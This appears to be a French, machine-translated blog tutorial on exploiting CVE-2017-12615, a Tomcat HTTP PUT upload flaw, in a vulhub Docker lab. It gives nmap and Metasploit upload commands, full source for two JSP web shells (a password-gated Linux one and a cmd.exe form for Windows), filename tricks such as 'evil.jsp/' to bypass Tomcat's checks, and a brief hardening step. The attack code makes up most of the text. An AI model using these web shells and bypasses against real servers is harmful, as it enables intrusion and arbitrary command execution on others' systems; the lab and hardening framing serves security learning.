CVE-2017-12615 Tutoriel d'exploitation de vulnérabilité de téléchargement de fichier arbitraire Tomcat PUT


Description de la vulnérabilité

  Une vulnérabilité a été découverte dans Tomcat. Dans cette vulnérabilité, si le contexte de servlet est configuré comme readonly = false et que les requêtes HTTP PUT sont autorisées, l'attaquant peut télécharger des fichiers JSP dans le contexte et implémenter l'exécution de code.

Version impact

tomcat 7.0.0 à 7.0.79

Construction de l'environnement de vulnérabilité

Utilisez vulhub pour démarrer directement l'environnement avec un environnement CVE-2017-12615 clé

Démarrage rapide de Docker et construction de l'environnement de vulnérabilité

Après avoir téléchargé et installé vulhub, entrez dans le /tomcat/CVE-2017-12615répertoire et exécutez la commande suivante

docker-compose up -d

Insérez la description de l'image ici
Ensuite, vérifiez l'adresse IP actuelle de la machine virtuelle et visitez le port 8080, la page tomcat apparaîtra

Détection de vulnérabilité

Remarque: Si nous utilisons le protocole put pour créer un fichier cible qui existe déjà, alors ce fichier sera écrasé. En combat réel, vous ne devez pas le mettre dans l'index ou dans un fichier existant pour le test.

nmap

commander:

#nmap -p <端口> <ip> --script http-put --script-args http-put.url="<上载到服务器的本地文件的完整路径>",http-put.file='<将文件存储到的远程目录和文件名>'
nmap -p 8080 192.168.234.138 --script http-put --script-args http-put.url="/test1.txt",http-put.file='E:\1.txt'

J'ai créé un nouveau 1.txt sous mon disque E, le contenu est:test put

Insérez la description de l'image ici
L'invite successfully createdindique que le téléchargement est réussi, nous accédons manuellement

Insérez la description de l'image ici

msf

msfconsole

search http_put
use auxiliary/scanner/http/http_put

set filedata 'test put111'
set filename test1.txt
set rhosts 192.168.234.138
set rport 8080
show options 

Insérez la description de l'image ici

Après le réglage, exécutez, un signe plus sera invité pour indiquer que le téléchargement est réussi

Insérez la description de l'image ici

Insérez la description de l'image ici

Contrôle par lots

  • règles d'analyse IP namp ou utilisez les paramètres -iL pour la détection de lots

Insérez la description de l'image ici

La détection par lots de msf n'est pas très stable. Je ne peux pas faire de détection par lots, mais une seule adresse IP peut le faire. Il n'est pas recommandé d'utiliser msf.

Insérez la description de l'image ici

Exploit

Cheval de Troie Linux à une phrase:

# cmd2.jsp
<%
    if("023".equals(request.getParameter("pwd"))){
    
    
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
    
    
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

Cheval de Troie Windows une phrase:

#windowscmd.jsp

<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
        Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); disr = dis.readLine(); }
        }
%>
</pre>
</BODY></HTML>

Le tomcat par défaut n'autorise pas non plus PUT à télécharger des fichiers jsp et jspx, car le backend est utilisé org.apache.jasper.servlet.JspServletpour traiter les demandes de suffixe jsp ou jspx, et il n'y a pas de logique pour le téléchargement PUT dans JspServlet, et l'implémentation du code de PUT n'existe que dans DefaultServlet.

La cause première de cette vulnérabilité est de contourner la détection de tomcat en construisant un nom de suffixe spécial et de le laisser utiliser la logique de DefaultServlet pour traiter la demande, téléchargeant ainsi le fichier jsp.

Il existe actuellement trois méthodes principales:

  • evil.jsp% 20
  • evil.jsp :: $ DATA
  • evil.jsp /

Nous devons également modifier le nom du fichier à contourner lors du téléchargement de put

nmap -p 8080 192.168.234.138 --script http-put --script-args http-put.url="/cmd.jsp/",http-put.file='E:\1.txt'

Insérez la description de l'image ici
Accéder aux fichiers Trojan:

Insérez la description de l'image ici

Durcissement de la vulnérabilité

Modifiez le fichier conf / web.xml dans le répertoire tomcat, recherchez readonlyInsérez la description de l'image ici
l' falseensembletrue

Insérez la description de l'image ici

Article de référence

https://paper.seebug.org/399/

Je suppose que tu aimes

Origine blog.csdn.net/weixin_41924764/article/details/109684870
conseillé
Classement